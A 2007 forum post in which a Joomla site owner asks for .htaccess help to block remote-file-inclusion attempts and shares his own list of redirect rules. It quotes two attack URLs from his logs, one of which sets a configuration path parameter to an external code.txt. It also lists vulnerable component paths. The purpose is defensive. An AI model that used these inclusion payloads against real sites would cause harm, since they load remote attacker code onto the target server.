joesomebody
User
 Platinum Boarder
| Posts: 235 |   | Karma: 19
|
.htaccess Regex Help - 2007/06/05 21:43
Lately those freaking Turkish hackers have been attempting (unsuccessfully) to get into my site. (I have several blocks, which I will share at the end in case one of the admins wants to block them from this site, as it is Joomla based too)I enjoy playing with them though, by 301 Redirecting them to my noindex.html page. I may eventually just redirect them to goatse, but I need some help with a couple of their URL strings, as I suck at .htaccess regex....I want to redirect the following to my noindex.html page, but I don't care whether it uses mod_rewrite or a basic redirect...I just need a little help...
//administrator/components/com_mamboboard/file_upload.php=http://85.92.144.90/squirrelmail-1.4.9a/
doc/ReleaseNotes/1.9/cronos.c /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.theirsite.com/code.txt
I want to block any URL containing everything up to the = that comes before their URL, which opens a bunch of evil code, I assume...
My current blocks (for Joomla and Mambo):
| Code: |
#ANTIHACK
Redirect 301 /projects/libraries/pcl/pcltar.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_babackup/classes/Tar.php http://www.mattparnell.com/noindex.html
Redirect 301 //administrator/components/com_mamboboard/file_upload.php= http://www.mattparnell.com/noindex.html
Redirect 301 //administrator/components/com_remository/admin.remository.php http://www.mattparnell.com/
noindex.html
Redirect 301 /administrator/components/com_a6mambocredits/admin.a6mambocredits.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_comprofiler/plugin.class.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_cropimage/admin.cropcanvas.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_mgm/help.mgm.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_remository/admin.remository.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_serverstat/install.serverstat.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_uhp/uhp_config.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/components/com_webring/admin.webring.docs.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_artlinks/artlinks.dispnew.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_cpg/cpg.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_galleria/galleria.html.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_performs/performs.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_phpshop/toolbar.phpshop.html.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_rsgallery/rsgallery.html.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_smf/smf.php http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_zoom/includes/database.php http://www.mattparnell.com/noindex.html
Redirect 301 //function.is-dir http://www.mattparnell.com/noindex.html
Redirect 301 /function.is-dir http://www.mattparnell.com/noindex.html
Redirect 301 //administrator/components/com_remository/admin.remository.php http://www.mattparnell.com/
noindex.html
Redirect 301 /function.require http://www.mattparnell.com/noindex.html
Redirect 301 /function.require-once http://www.mattparnell.com/noindex.html
Redirect 301 /components/com_zoom/classes/iptc/EXIF_Makernote.php http://www.mattparnell.com/noindex.html
Redirect 301 //components/com_joomlaboard/file_upload.php http://www.mattparnell.com/noindex.html
Redirect 301 /administrator/:/www.mattparnell.com/index.php http://www.mattparnell.com/noindex.html
Redirect 301 /projects//components/com_joomlaboard/file_upload.php http://www.mattparnell.com/noindex.html
Redirect 301 /projects/top-10-must-have-joomla-addons.html//components/com_joomlaboard/file_upload.php http://www.mattparnell.com/noindex.html
Redirect 301 /projects//components/com_joomlaboard/file_upload.php http://www.mattparnell.com/noindex.html
#END ANTIHACK
|
http://www.mattparnell.com |